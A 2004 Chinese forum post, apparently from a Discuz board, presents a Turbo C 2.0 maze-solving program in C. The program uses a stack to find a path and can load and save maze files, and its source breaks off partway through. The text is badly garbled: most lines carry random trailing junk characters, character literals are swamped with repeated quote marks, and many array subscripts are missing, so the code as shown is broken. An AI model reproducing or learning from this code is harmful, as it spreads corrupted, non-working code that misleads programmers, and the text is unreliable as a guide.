QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 7629|回复: 8
打印 上一主题 下一主题

C语言技术文章

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-10-4 02:34 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
<DIV  align=left>  g; ~% B. G1 `) T
< align=left>程序目的:6 T0 S, v9 c" [) T
输入一个任意大小的迷宫,用栈求出一条走出迷宫的路径,并
  \* f; ~0 L, ?4 ?' P显示在屏幕上。
% u/ t/ a  ?0 q程序实现:4 R, J" ?7 j, ]9 }( p
可以实现载入迷宫和保存迷宫,附带文件中有4个测试迷宫路径的& O; y' |7 ]2 v. t% G7 A. E, `
文件test1~4.dd。请将这些文件拷贝到TC当前目录下,或者在载
% C6 D- n) m6 n# U3 v+ j2 I入时写明完全路径。由于屏幕大小的限制,当用户自己输入迷宫. l! z( h2 o6 |" Q
时一定要注意:迷宫大小是有限制的,不小于4*3,不大于30*20。
, w, Q" u  l. q5 N. g3 i否则会出现错误信息。输入开始时全是墙,用上下左右键移动,
0 d4 {0 }7 U9 X% j用Del键删除墙,形成通路,用Enter键添加墙。输入结束时可以" R3 j! r5 n4 n
将迷宫保存下来,以dd为扩展名。输入完毕时用F9键来得到结果,
" _* |- }9 x9 T* ?2 M; c6 \$ }找到路径时,屏幕下方会出现Path found,否则出现Path not found。
$ w$ T! Z' h8 V* Q程序经Turbo C 2.0编译调试成功。运行时不用添加任何运行库。
- ~* |4 J* T/ [) s( @( Q不可以在VC上编译。- w3 C5 y. r9 g0 u
下载DOS版和windows版的迷宫游戏全部代码3 W) G9 r& _# }  H. K+ ?0 I1 g; T9 r
用户名:migong
* G$ k8 |! N* t  T; E----------------------------------------------------------------------------------
8 ^  Y7 c5 w$ U  ?4 `) s* A/*
" C; P- E5 ?5 g: Q' ]0 T5 h' n# XMazePath Demo BY Turbo C 2.0" ^6 y+ D; B& `; ~$ X$ I
Copyright(c) RoverUnion. All right reserved.0 X/ p) E9 P7 s
Filename: Maze.c
) G' h5 X2 Q' X; Y5 K9 BAuthor Dongchengyu., A2 x6 o, W8 I2 _* g
Ver 1.105 A- D# P" E# {9 X8 ~
*/: E+ w3 G% x7 z+ d
#include &lt;stdio.h&gt;
: A- G- n* T. v* v" p8 B! [4 L#include &lt;stdlib.h&gt;
8 R% V, p" ~7 |#include &lt;malloc.h&gt;; w4 B* r7 l5 P- e# b
#include &lt;conio.h&gt;
# [+ J) ]& y. Z#include &lt;dos.h&gt;2 \1 x; S! i. o
#define OK 10 l" e; \% M1 @8 l0 A; {3 H
#define ERROR 0
4 c1 |' I& X2 I3 i  w#define TRUE 1/ r& u9 m* s/ B
#define FALSE 0
5 Q  z  F* t5 Y+ @7 w9 G5 L! F#define F9 0x43; k6 p' l3 b8 S) P" T
#define Esc 0x1b
" Q! {, M9 L7 D7 S1 w6 M+ X#define Del 0x53
& B: s3 m* A! U% k: A8 J#define Home 0x47
: n; u4 {3 s! w) _# A. g( O) i  m#define End 0x4f
( H( n& |7 d3 {( X) [: ~4 P" r: J#define Space 0x206 p3 _- f6 i' G# p2 f
#define Up 0x48+ Z# J. w6 t0 u6 k
#define Down 0x50: D! j( N* v* D4 Y* _
#define Left 0x4b% U9 L" t0 j; S9 {/ y2 J
#define Right 0x4d
( n4 o2 f" A6 }8 ]#define Enter 0x0d2 {  {3 R/ o$ d7 N3 N1 M, T
#define F2 0x3c
1 H. H: x/ ^" J) \#define F3 0x3d) V  b! B0 W1 Q  Z
#define STACK_INIT_SIZE 200
# ], w3 ~1 {& C+ U#define STACKINCREMENT 102 f& N7 o% v9 l% s! m* y# Y2 o: U
typedef int Boolean;
) n- n" e$ V, X& i8 ytypedef int Status;
) O6 d/ K3 E1 A8 g/ @% w4 l/ Ctypedef struct {0 f3 B; M$ i% j' Y: \- T
int x;9 Q2 r( p% N& w4 w: H1 I  @4 k
int y;, L, h$ }6 u% B( c/ R$ z) M
} PosType;" t7 [4 ]) r2 q8 `! t" n9 M
typedef struct {, m4 ]3 K4 c2 [3 O6 a6 H. A
int ord;
% g) o  e* F# A3 j$ j5 f. J$ b: iPosType seat;& V" O' G/ R, i3 e
int di;
1 L/ B& n+ `# V+ `( a8 u} SElemType;
7 X% l8 |8 X4 q4 ktypedef struct {
% V2 P: K0 x* f9 W. }* Iint td;1 K5 A+ p  }& m6 q# C- }3 a
int foot;! A1 T0 R9 T7 o- o4 P8 g
int mark;) ?4 D( W1 O* t
} MazeType;
2 Y% U6 P1 G3 |8 F$ }+ itypedef struct {
1 v6 n2 M" J& a6 `/ D: m& l( q2 LSElemType *base;
, h5 E- c- V- QSElemType *top;
0 }. T8 n6 e3 bint stacksize;
1 m7 y- u/ C0 `6 t" J$ _0 m} Stack;
9 G* F: X* K, T, d2 G, Nint Maze[20][30];% X' y! ?, l0 B4 X! P& T5 v  l
MazeType maze[20][30];1 c- h/ W/ J+ Z! @
PosType StartPlace;
0 f' s& S9 L! J% e5 S* x) GPosType EndPlace;* X: ]( m' Z7 B- I! X
int count;
& c/ N) o$ S, f3 y5 yint m,n;. B9 w& L0 L% s; K" S" n$ H
Boolean b_start=FALSE,b_end=FALSE;4 `/ W% u6 F$ Z  _+ f" n
void CreatMaze(void);5 w- B. ]: ^3 {% H+ d1 C" m! Y2 _* @
Status SaveMaze(char *filename);) L1 t% e1 X; k' k" \
Status LoadMaze(char *filename);
7 G5 E0 _- x4 \8 m. u; \2 m5 Vvoid Error(char *message);
5 G6 C* m& P) i5 y' b2 O! d# X9 w+ cStatus InitStack(Stack *s);
* t) \6 l/ Z: l7 f: w3 |$ Y' xStatus DestroyStack(Stack *s);( [4 V- X9 a1 \8 R/ h
Status ClearStack(Stack *s);6 V: H+ o- c: Y4 w) z
Boolean StackEmpty(Stack *s);
2 D$ u+ U4 _* g5 @; xint StackLength(Stack *s);
2 h/ y5 J* ?$ d5 Z: d' Q* FStatus Push(Stack *s,SElemType e);
, ^; e$ x% F" A; DSElemType Pop(Stack *s,SElemType e);
* p: \3 f7 @% C5 HStatus GetTop(Stack *s,SElemType *e);
, S8 O9 ?: k6 B4 KStatus StackTraverse(Stack *s,Status (* visit)(SElemType *se));) S" }  y' f" ]  T2 R# G
Boolean Pass(PosType curpos);% ^/ B- N7 D8 N. B) P
void MarkPrint(PosType seat);
* d, f3 E" J  s7 g$ Hvoid FootPrint(PosType curpos);
9 q$ W* B2 k- |' ?+ E: O! `PosType NextPos(PosType seat,int di);6 l3 F& ]' S- o% F8 T: |8 e
Status MazePath(PosType start,PosType end);5 z# b& B, g# M0 h
void CreatMaze(void)
/ r& g7 ]- a" `! T, D/* Form the maze. */6 o9 P0 t& H" R4 U2 @$ E
{3 |; [: |( c, p; O' o" x8 `- R
void Error(char *message);0 B9 @- m# D9 v- G' t7 j; L
Status SaveMaze(char *filename);& C& E8 y$ R2 a5 P2 J
Status LoadMaze(char *filename);
1 E$ Z! {" D9 ]. S0 L0 @; y2 Hint i,j;, O& b# z$ E$ P$ Y
int x,y;
; P2 C8 L) u& D+ `) ?char c;
& \1 Y* j1 J8 E/ S: Fchar savename[12],loadname[12];
9 p0 e% L' v8 ?5 }7 ^# F, `' qBoolean flag=FALSE,load=FALSE;
9 [1 p2 D" o" W) t! n1 kclrscr();% x# m9 ~# t& h" p6 m& J
printf("Menu:\n\n");5 Q! Y1 J/ E/ b' L
printf("1.Load Mazefile*.dd)\n\n");
: m, \) k% r8 h$ b( @1 Nprintf("2.Input Maze:\n\n");3 P. I# D: K& N& i& c) X1 ?7 }0 B
printf("Input your choice: ");
7 Y& d' T: S9 |9 N* y9 D9 fdo
" a( y% G& w/ u8 b7 p1 g) C$ I{# ^; [' O! S1 j$ p6 p% I% r
c=getch();
7 U3 e; z3 M3 z# Lswitch(c)# @3 O% `+ u" u0 \
{# e  r- M7 H+ [
case ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''); break;$ }% }* j7 M3 o' Y
case ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''); break;. n1 O( T8 i; I( }; A! T- O! T
case Esc: sleep(1); exit(1);: o9 {, h1 p0 S3 H1 T, Q5 r
default: break;7 c5 z0 w( y' B
}8 `1 k+ w+ W% b
}+ T0 t- x/ w& B9 M
while(c!=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''&amp;&amp;c!=''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''') ;- I; F1 W7 K% Q8 E' d
if(c==''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''')" ^3 v5 S4 U0 Y, q) {; w" x' A
{
% I, t* R& W1 `+ g. ^printf("\n\nLoadName: ");
9 }5 A5 Q& y9 y- |4 Y0 ]scanf("%s",loadname);& B6 ]) L$ A( U
if(LoadMaze(loadname))
" r/ h; C2 @: U{
( A# r- w+ g& s. csleep(1); load=TRUE;% |$ T! D+ o, L% }3 i
}7 C+ T4 w( i, |5 c4 [8 T
else { gotoxy(1,9); printf("Load fail! "); }3 i7 v. ^$ n0 k- Y9 v: a( u
}
8 }9 U4 T+ d8 r9 ]. D8 sif(!load)
- E! g; z% j" _; ]+ w8 p4 X( G# }{
4 [: }6 k( x4 Y& e% eprintf("\nInput the maze''''''''''''''''''''''''''''''''s size:\n");
4 F! M  r: E# b" c- q4 J$ Y! Gprintf("\nInput Length :\n");
4 l" N' W2 Y" h8 M  qscanf("%d",&amp;m);8 c, {' X( A: n0 x5 F- H
printf("\nInput Width :\n");
+ A; J7 n, u* k: Escanf("%d",&amp;n);
: D5 A% S- Y3 H- eif(m&lt;4||n&lt;4) Error("Input");
& b# T1 w% `+ M( W1 g" N; cif(m&gt;30||n&gt;20) Error("Maze too large");
7 @4 b- ?+ S! O( Kfor(i=0;i&lt;30;i++)
+ `$ N- h2 T  mfor(j=0;j&lt;20;j++)( r2 g$ \6 l/ K& ~9 |# s
Maze[j]=2;
7 f4 H: b3 V2 W+ Y0 F* SStartPlace.x=0;4 E# i5 T# x) l: _4 J
StartPlace.y=0;9 g( R- V) h6 i* E% |8 _
EndPlace.x=0;! C! F. ^' K7 l, Y2 a# x* B
EndPlace.y=0;
. V% K; O& V. S- B9 i7 Kclrscr();
& [! M0 p7 C1 u) wprintf("\n");
2 t: @! `6 m6 F- u! R2 @$ ]for(i=1;i&lt;=n;i++)" c7 N% e" r( X' n  N: t
{
. P5 O- V  t6 t' Xfor(j=1;j&lt;=m;j++)
* O" Z( u1 a8 f# m7 a{, t1 V3 z, O- H, T
printf(" #");# I1 O! Y4 i2 Q. v" ~! `6 n
Maze[i-1][j-1]=0;
0 E* _, D2 ]& e7 z' f6 p}
# c) U: Q$ k2 _7 H6 Tprintf("\n");  Z% r+ A# B$ x2 b7 T6 i
}, z& P; D( L1 Z. g$ s' ]& d
}
/ d6 `$ W+ l9 |$ I; `3 {gotoxy(65,5);
7 [5 g7 T. t% P) i) Bprintf("''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''':Wall");: p! q2 O# t1 {5 s0 ~4 ?
gotoxy(65,7);. D8 ]/ g9 `0 K+ d1 X
printf("Start:Home");- P/ K8 }8 K- m& t
gotoxy(65,9);* m& D+ l9 f, d3 V
printf("End:End");
/ j! Q6 E( c; x$ ^9 hgotoxy(65,11);
6 u% n5 v- y( Bprintf("Delete Wallel");6 f' Z7 V9 M/ j+ H/ w
gotoxy(65,13);' S- S' g7 H2 o# p/ k$ y% e; r
printf("Enter Wall:Enter");
$ }& R4 X! o: @. T7 [2 A9 Ygotoxy(65,15);# b5 q& Q7 x; @6 `. G) Z: [
printf("Save Maze:F2");
) Q3 u) @% v8 a: _+ ~' D: _- |) g4 ygotoxy(65,17);
; s/ a- t; v: Q9 N3 u- pprintf("Complete:F9");) U. `% {9 A* B/ T  q8 g( q$ @
gotoxy(65,19);
: {' y/ ~" {, g; A. }% w4 F6 }printf("Exit:Esc");0 [" t- t3 [1 q# l; }  ~
gotoxy(4,3);6 Z8 j; L# l, D! r! ]4 ?
x=4;y=3;
; `! D7 O1 _0 c2 \6 L- m1 d+ \do
  ~" o# c' w0 b+ u. G- N7 q- H  d' g{& i  ?8 T& q3 N7 B( r7 X
c=getch();- u  o$ b0 \' u: g2 f
switch(c)
! A* Z. E7 W& U" `{0 I% x* A8 u; \0 D2 n
case Up: if(y&gt;3) { y--; gotoxy(x,y); }6 h% B& ~9 J% s  Q7 G. u, r6 R
break;
0 d9 r4 A) B0 _3 Q4 `5 j2 wcase Down: if(y&lt;n) { y++; gotoxy(x,y); }; \, Z, c5 E% ?/ W9 {- F( h0 @
break;; }2 g; O- l$ \8 x2 x
case Left: if(x&gt;4) { x-=2; gotoxy(x,y); }; v, B" h0 P3 M* E& k) g8 {
break;( A6 B; s2 u  Y# f6 l3 H. }1 w
case Right: if(x&lt;2*m-2) { x+=2; gotoxy(x,y); }- L4 K5 |7 S# B  d
break;0 b6 C  M$ b# h* n! ?* x  I
case Del: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) b_start=FALSE;
. ]8 q( ]: h0 T4 r" \6 O. Sif(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) b_end=FALSE;, S4 y  e/ m7 Z) @
putch('''''''''''''''''''''''''''''''' ''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=1; gotoxy(x,y);
. y6 O7 z2 M- Y. Dbreak;
" T5 {' f+ W/ R& i) pcase Enter: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) break;* _4 q, U- C" \$ b
if(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) break;
) Q4 G, D# l1 f' o7 A4 e, mputch(''''''''''''''''''''''''''''''''#''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=0; gotoxy(x,y);& \% {' g2 o* _. b4 n2 g
break;3 `2 |' i7 E9 g& |; Z
case Home: if(Maze[y-2][x/2-1]&amp;&amp;!b_start)
. H0 z" n4 \: c{
+ C9 u0 J. }3 ?/ MStartPlace.x=x/2-1;
7 @$ D5 R; w+ `$ L$ ]  TStartPlace.y=y-2;
& X( D. |  Q+ x# ^! D5 f1 ?2 kputch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');
* _  c) n6 t% C3 C$ u  egotoxy(x,y);) I5 S# Q2 A. n8 K- j* e8 b$ i
b_start=TRUE;
' e, n) {! f. Z, |0 T}
: u* Z* v, U/ X; [" {* \break;7 `* i# C8 F& K( \' _
case End: if(Maze[y-2][x/2-1]&amp;&amp;!b_end)) H5 R1 T" t8 {
{  H4 W/ h9 E6 z) G$ V
EndPlace.x=x/2-1;! S5 t4 f, d% Q5 f8 u. T
EndPlace.y=y-2;6 y: u/ }# b. U2 c# y. Y
putch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');
$ K  f, g. [! ?3 _; kgotoxy(x,y);
! i& O6 [, s- \3 d8 s/ f1 `6 Sb_end=TRUE;
* m5 ^2 a) Z) ~; ]}) z" ?% i2 a1 h# g
break;% E3 o: t8 Q) Z6 h
case Esc: gotoxy(2,22); printf("exit"); sleep(1); exit(1);
$ ^3 s8 E; ~) y0 Zcase F9: if(b_start&amp;&amp;b_end) flag=TRUE; break;0 F# g) O# ^1 O+ k/ Z0 \2 d" [
case F2: gotoxy(2,22);7 ^7 @$ W- g, o8 ]' J9 k. z
printf("Savename:");
, \+ S! l1 B) \: P. x  lscanf("%s",savename);
" m( h: o; Z9 `; qgotoxy(2,22);
. o) q  O# h5 Z+ h6 e- j8 }, `if(SaveMaze(savename)) printf("Save OK! ");7 h; s; p8 m9 N" p# S) T7 p8 A# A) @# z: d
else printf("Save fail! ");0 g( k* {; y7 D, n
sleep(1);
5 N( t2 ^' s8 n1 h& x! Agotoxy(2,22);
/ F5 E% f) B: R+ M" X0 A& o) }printf(" ");
$ O5 Q) U; u1 _* igotoxy(x,y);
5 ~/ D+ |. f" fbreak;
( C7 U, y' O5 q. m7 Cdefault: break;: g. w- Q7 X$ U7 K
}/ U/ ^* `! ~1 ]! _: K7 s) M
}# V: P' C5 h7 ]7 H% b; i4 G
while(!flag);; G& U4 L5 O8 g. l! b5 e
for(i=0;i&lt;30;i++)" ]( p) z( Q# o) ?5 f( Q" c
for(j=0;j&lt;20;j++)
* n" L  |& e" l) X{
2 [, @& y6 P* @maze[j].td=Maze[j];8 a% u* r' ]) L1 [
maze[j].mark=0;
% M4 G6 V6 S, t' w' D7 X2 ?maze[j].foot=0;) r9 y: g7 R7 G) {
}; a: x& t+ H2 X$ d
}2 f1 N4 ?6 b1 P' j, @, B
Status LoadMaze(char *file)$ E, E2 g: r( F+ A, h
/* The maze has been loaded. */1 \4 y$ i" g* W2 Y
{
  H5 \5 v; [0 p7 x0 X$ b& yFILE *fp;' e' D9 C, ~/ R6 I
char *buffer;. I! W: H; M+ C3 h+ U
char ch;5 Q: A- _- e: }8 ]; b( |% _6 J8 ~
int i=0,j,k;
6 _7 T& T% @, |4 rBoolean len=FALSE,wid=FALSE;
2 ~; ^; u* E7 kif((fp=fopen(file,"r"))==NULL)
9 h$ c+ s% c) l' P. breturn ERROR;, x* ~5 N; M1 D: |0 j& ^
buffer=(char *)malloc(600*sizeof(char));/ ^- J) y" M7 ]& V
ch=fgetc(fp);5 H+ T4 p# F+ U4 [: Y
while(ch!=EOF)
3 m4 l7 B+ h7 F1 [{
1 A. y$ Z1 D2 \4 ybuffer=ch;
# Z1 \2 |% L$ I$ K9 ii++;
) H4 R1 n6 |% E/ D9 P6 Wch=fgetc(fp);' J8 g3 M/ s: Z, |
}
/ P  [+ l. I2 ?( R; v- f( c/ sm=30;n=20;
5 k+ _# J! I0 _7 p' O/ ?for(i=0;i&lt;600;i++)
4 [0 T  _# h0 X5 z+ ~{
4 q8 T# A7 @0 j% e1 P0 u( ej=i/30; k=i%30;
9 p7 C2 j' o) U/ m9 oif(buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!len){ m=i; len=TRUE; }1 V* b' i9 O( E2 |2 R0 M, S
if(k==0&amp;&amp;buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!wid){ n=j; wid=TRUE; }. l6 [# J  a; ~/ J
switch(buffer)
+ {2 o, n# C- N3 C{
, K0 E( h: F% b1 \: Zcase ''''''''''''''''''''''''''''''''0'''''''''''''''''''''''''''''''': Maze[j][k]=0; break;
$ F- N% s2 s( B- H4 r/ x9 L" e% fcase ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': Maze[j][k]=1; break;
5 g( u# y& D/ Y! y/ e+ o7 s# ocase ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': Maze[j][k]=2; break;
! D3 \( u7 |) i2 ^4 T/ H: w6 pcase ''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''': Maze[j][k]=1;5 W2 l7 Y1 S/ ^+ A* g! u
StartPlace.x=k;( _3 b9 c3 a* H, `0 d
StartPlace.y=j;
0 Z6 @! S2 j5 W, k& gb_start=TRUE;! S5 t% c* k2 i" X2 Y
break;
) u& y* g" \. [3 Y' _# `case ''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''': Maze[j][k]=1;
* F9 |6 A& Y5 l! S2 a. ZEndPlace.x=k;, y. Y) d! r) d/ F
EndPlace.y=j;
: U# _$ _: ?5 Q8 [' |b_end=TRUE;# m) ^$ v9 ?6 D/ l3 L9 j
break;
# R/ g, U( R- e  U7 H$ G. kdefault : break;+ t8 l/ t0 H; d: l1 }; U8 H
}
/ N5 _( v3 ~1 p' E}
" R& S/ }% M- ~' tfclose(fp);
" r2 {  t1 S  [) Y+ zclrscr();0 M( g0 O) b  p; H1 S6 n
for(i=0;i&lt;30;i++): I! f" D# b, T/ k+ F  I
for(j=0;j&lt;20;j++): }4 f2 X9 u+ ^/ [( m
{: R4 Q5 `1 r& s1 I6 m8 \; P
maze[j].td=Maze[j];
; m/ x2 {, @' _1 [maze[j].foot=0;2 {  a8 Q, C, `2 h* y( s5 O
maze[j].mark=0;. R! A$ w- n% K7 o
if(Maze[j]==0)! G6 R3 B4 {; i
{- q" Z  V  @$ L, v& p
gotoxy(2*i+2,j+2);6 ^  e, Q8 X  q( O
putch(''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''');% Z7 F+ M8 y/ r) |8 ]/ X
}: }7 R% Q% a  f- k" M( J+ V
}
8 A; {0 n7 L7 ^- W1 h! ]3 V% Agotoxy(2*StartPlace.x+2,StartPlace.y+2);
$ E8 U+ `" h3 q6 B' W5 Qputch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');8 j7 p" B0 N& V7 k/ N
gotoxy(2*EndPlace.x+2,EndPlace.y+2);/ k+ \, K: ~+ V- g+ l
putch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');
) L! h/ p8 m$ hreturn OK;
4 U) P' l8 y" L, y+ I: o5 G& p* y$ a}
) P3 l4 }4 j3 r/ ~Status SaveMaze(char *filename)
* C3 g. W) V" a5 W5 m& v  D9 ~/* The maze has been saved. */; s$ C& x' u  ?( O9 ?
{) _& J6 X* A9 v2 R* \6 X4 u
FILE *fp;
" t9 o6 B; Y) ^; t# R8 W/ m1 ^char *buffer;4 p/ |, h7 n& R! v/ O$ ~
int i,j,k;
: }, Q1 z) K( b7 e/ _$ mfp=fopen(filename,"wb");" \& J6 {' S! \& j
buffer=(char *)malloc(600*sizeof(char));9 F4 G  L4 N* f! y/ b
for(i=0;i&lt;600;i++)
+ M% l/ o7 [2 j, w{
9 Q: c  O2 v$ E9 ^9 _j=i/30; k=i%30;0 z- X5 F! U! O" V' T; ^! _
switch(Maze[j][k])
+ e+ K- c9 i. B4 N7 K. h8 B8 h{, J3 d0 t/ v2 h3 G5 w/ s
case 0: buffer=''''''''''''''''''''''''''''''''0''''''''''''''''''''''''''''''''; break;
; Q" L0 s0 Z* a7 G4 `case 1: buffer=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''; break;5 @, t; y1 D6 r6 B( N4 K
case 2: buffer=''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''; break;/ p. [! U- K+ I) U2 ?6 ]% \
default : Error("Write"); break;
) p+ |, N, d$ c% j0 O/ A" O+ o& M}
3 o6 z4 k' i% f: B$ T+ w: C/ kif(k==StartPlace.x&amp;&amp;j==StartPlace.y) buffer=''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''';
- C8 H# G" i4 i: g$ f, Vif(k==EndPlace.x&amp;&amp;j==EndPlace.y) buffer=''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''';0 N! O0 l2 a$ H! `$ e* N) l6 J1 Y
}7 a; h8 H) t2 ?/ {, ^
fwrite(buffer,600,1,fp);
! e* H5 i+ z$ O# _! l5 T0 `  [free(buffer);* {4 g2 k  e0 ~( g4 Y' N
fclose(fp);
. Z- z; q! r7 L, \/ f) K( @return OK;! o* R9 K4 h( x1 D9 ]" L
}
3 q' x3 @$ v/ `& `3 x- Dvoid Error(char *message)  {! Y; O) l5 {/ n1 z
{
, C' r  ^7 r( h' F" x  cclrscr();
* p6 ?6 |' \- L. \fprintf(stderr,"Error:%s\n",message);
' R4 n# ?1 B7 d5 S  ~) M  iexit(1);
' y1 \5 q0 m5 E% ]& ]} /* Error */
) F* m' A6 i$ K0 U' r2 t* g6 F, L
5 y! x& a8 j, z* v' iStatus InitStack(Stack *s)
. ^1 z1 u3 `  q& W. z  S8 ^/* The stack s has been created and is initialized to be empty. */
4 `4 b+ e# _8 d& u{- C, Q  M0 t) d
s-&gt;base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));( ?& H! |8 U. @2 ]. V. b
if(!s-&gt;base) Error("Overflow");
8 N/ i9 U* n" k9 [- \4 Ss-&gt;top=s-&gt;base;
; J' ^9 |& R7 I4 Hs-&gt;stacksize=STACK_INIT_SIZE;
- b, h; Z" ~' K. M1 L. j+ R1 treturn OK;
) `4 p3 i" }2 z. C/ J} /* InitStack */
8 u; T1 `- S' @( ?) U' e( _$ ^- \Status DestroyStack(Stack *s)) O  B/ S, D. U+ d; h3 S9 \- r
/* The stack s has been destroyed. */
5 s- O# \% f& J5 o4 k" s3 J{
- O" \" L9 F% W6 y8 q/ \s-&gt;top=NULL;0 i! X( ]/ t# n" k5 K
s-&gt;stacksize=0;
; g7 @% ]6 F; V/ j0 ]: t7 Ifree(s-&gt;base);
0 q' u1 _$ q- \$ A8 `& Ts-&gt;base=NULL;1 ?% q5 {0 l" m( p& q
return OK;
. s: w; I' ~" @2 z) c; ]- H# X6 v) e, P: n6 ~} /* DestroyStack */
" }+ _+ Q$ ?0 r& B+ M# ~  d6 IStatus ClearStack(Stack *s)
& b0 N) g- C+ q8 `4 w, L( I: U/ {/* The stack has been clear to be maximum. */
, {" D! j1 ]: A  ^8 B{7 I) s& ]1 P: U& f1 i- e% G; g
s-&gt;top=s-&gt;base;/ l" Z" j- P" r' J) ~
s-&gt;stacksize=STACK_INIT_SIZE;9 L% D: K1 o8 ~$ g. y
return OK;
2 t* i2 r# b( y} /* ClearStack */
8 |* ~# G0 K, z; yBoolean StackEmpty(Stack *s)
! Q& J5 |: I2 K3 p  o9 f/* Check if the stack s is empty. */! X+ t# ~( p8 T) ^; l
{6 w3 v& Z, x, {
if(s-&gt;top==s-&gt;base) return TRUE;) m! n+ Z$ O- s/ [, A
else return FALSE;2 ^2 g; x: U; K& m" ]5 g! P) {7 r; K
} /* StackEmpty */4 c6 {) ^6 u* N' o
int StackLength(Stack *s)  J9 p9 N: a+ V. B' V3 b
/* Gain the length of the stack s. *// C+ [- F* ^1 z& j! Y* B
{% @% `" Y0 B8 o5 q/ e5 v# M) y
if(s-&gt;top&gt;s-&gt;base) return (int)(s-&gt;top-s-&gt;base);
9 N9 Q2 A  f+ B8 Zelse return 0;
$ x. a6 u/ H7 E7 R. k* B( ]; x} /* StackLength */
0 m9 J! N$ T- j& e0 B8 p. WStatus Push(Stack *s,SElemType e)
0 ^( z( G4 x; S( ], _/* The element e has been pushed into the stack s. */
5 G8 ~7 A' a9 U: {. ~{/ S6 Y' l# ]$ _8 l* P& m
if(s-&gt;top-s-&gt;base&gt;=s-&gt;stacksize)0 O$ l& I- h+ X- I9 z3 f4 e$ T
{
" }  ^# D) x' Vs-&gt;base=(SElemType *)realloc(s-&gt;base,7 k; A) b$ v2 \9 X& ~7 D( ?( j
(s-&gt;stacksize+STACKINCREMENT)*sizeof(SElemType));) d$ }1 i+ O5 n$ |7 ^  [) P
if(!s-&gt;base) Error("Overflow");
2 U  [; {& S* Gs-&gt;top=s-&gt;base+s-&gt;stacksize;
# x6 ]# [: Q8 B- @& Hs-&gt;stacksize+=STACKINCREMENT;
% M* @6 K  S% c$ R; s1 _# @# k' ~}2 Z9 {7 a9 Q( K$ F+ ~/ W: O
*s-&gt;top++=e;) U, [, O$ h) \! x! c9 F. g
return OK;+ h' A- W2 Y" A; C
} /* Push */) }. D4 j* H2 U5 Z
SElemType Pop(Stack *s,SElemType e)
  D" _0 M$ E+ o- G/* The element e has been removed from the stack s. */
4 o  a+ o+ c/ p) m{$ L) g, H- S3 S1 o$ B- }
if(s-&gt;top==s-&gt;base) Error("op");, d5 h2 i0 {% K
e=*--s-&gt;top;
$ \4 T5 Z7 y, i& treturn e;
- H* W2 E$ u9 B} /* Pop */
6 E/ d/ c# Y) Q) TStatus GetTop(Stack *s,SElemType *e)
* r5 Y- Q  X$ Y/* The element e has got to the top of the stack s.*/
1 T+ C1 r4 N9 k{
- J9 e0 x- _0 ?* yif(s-&gt;top==s-&gt;base) Error("GetTop");& g& l& w; b# E; ^) H. k  o
*e=*(s-&gt;top-1);7 k6 D3 u6 L2 w7 _
return OK;2 `8 o& B& o% M
} /* GetTop */
# Q0 E: {( P6 X) Q6 t% g/* Traverse the stack s using ''''''''''''''''''''''''''''''''visiting'''''''''''''''''''''''''''''''' function. */9 L' m+ @- Q4 g: O. y1 E. r9 S5 S
/* Status StackTraverse(Stack *s,Status (* visit)(SElemType *se))
! c3 E5 r; v& l2 g{
* M# ^4 H! s! ?& S5 c5 ]) ?SElemType p;
4 Q- i1 j0 }& {. q* o5 F' lint result;
4 a; [/ v6 C7 n/ U1 Sif(s-&gt;top==s-&gt;base) return ERROR;
$ P8 h' W% O4 P4 |# W' K/ S2 Z: Dp=s-&gt;base;
( j4 T- k% b$ j9 s% Dwhile(!(p==s-&gt;top))& W3 |/ H5 p& p8 R) }0 |+ [
{* B- d6 E8 j6 {4 R6 s
result=(*visit)(p);
: K1 c" _, {! N! b: ?p++;
! ~5 P4 w0 V* O* r, A$ A! d1 U# J}* p2 m. d) }7 N3 _, a0 j
return OK;- ~  V; B1 p/ J+ _2 o+ ?
} */
$ ~; v# l6 j  CBoolean Pass(PosType curpos)( v# _6 J: R, |
/* Check if the current position can be passed. */
0 V: ^7 z6 U3 w. x: z8 U{
! p" C; W  Z+ \! R  wif(maze[curpos.x][curpos.y].td==1&amp;&amp;
/ O% ~2 n2 a$ l2 n$ q0 U# I' H7 Y% jmaze[curpos.x][curpos.y].foot==0&amp;&amp;maze[curpos.x][curpos.y].mark==0)
/ I0 i% g0 h1 [4 q$ [( J" Ireturn TRUE;2 j* x5 k& \* m' t+ p; Q9 Q/ \
else return FALSE;3 `( t6 R2 ]; n& ]; s6 M1 ?
} /* Pass */- `/ b. ^1 O- ~$ g, D
